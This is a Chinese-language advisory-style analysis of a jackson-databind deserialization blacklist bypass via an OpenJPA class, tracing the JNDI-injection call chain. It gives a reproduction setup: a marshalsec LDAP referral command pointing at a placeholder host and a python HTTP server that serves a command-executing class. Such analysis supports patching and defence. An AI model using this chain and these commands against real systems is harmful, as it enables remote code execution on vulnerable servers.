近日,跟踪到jackson-databind在github上更新了一个新的反序列化利用类org.apache.openjpa.ee.WASRegistryManagedRuntime
,issue编号2670,该类绕过了之前jackson-databind维护的黑名单类。如果项目中包含openjpa-all库,并且JDK版本较低的话,请及时升级jackson-databind到安全版本。
jackson-databind < 2.9.10.4
该漏洞不出意外还是JNDI注入,因此分析的时候,可以直接先搜索受影响类的lookup方法,看看漏洞入口在哪里,本文复现的时候用的是openjpa-all-2.4.3版本。
首先定位到org.apache.openjpa.ee.WASRegistryManagedRuntime
类,发现该类定义的很简单,并且没有搜索到lookup方法的调用。
但是可以发现该类继承了RegistryManagedRuntime
,跟进到RegistryManagedRuntime
类,首先定位到了getTransactionManager方法调用了lookup,参数为私有变量_registryName
且有默认值。
继续看看_registryName
是否可控,在setRegistryName方法对_registryName
进行赋值。
因此整个的调用链为WASRegistryManagedRuntime->RegistryManagedRuntime->setRegistryName->getTransactionManager->lookup
一个简单的复现代码如下,可以照着之前漏洞的代码改一改:
用marshalsec监听ldap服务,并转发到python开启的http端口,并在http目录下放置事先编译好执行命令的class文件,即可完成漏洞的复现。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.com:8787/#hello 1399
python -m SimpleHTTPServer 8787
其实,在这里还需要说下为什么需要调用mapper.enableDefaultTyping()
,当不带参数调用enableDefaultTyping时,会设置DefaultTyping为OBJECT_AND_NON_CONCRETE。
DefaultTyping有四个选项:
JAVA_LANG_OBJECT: 当对象属性类型为Object时生效;
OBJECT_AND_NON_CONCRETE: 当对象属性类型为Object或者非具体类型(抽象类和接口)时生效;
NON_CONCRETE_AND+_ARRAYS: 同上, 另外所有的数组元素的类型都是非具体类型或者对象类型;
NON_FINAL: 对所有非final类型或者非final类型元素的数组。
因此,当开启DefaultTyping后,会开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。
官方在github的更新措施点这里,仍然是添加org.apache.openjpa.ee.WASRegistryManagedRuntime
为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名单的gdaget,并且仔细看看发现父类org.apache.openjpa.ee.RegistryManagedRuntime
早已经上了黑名单,该漏洞只是”旧瓶装新酒”,找了继承该父类的子类绕过黑名单。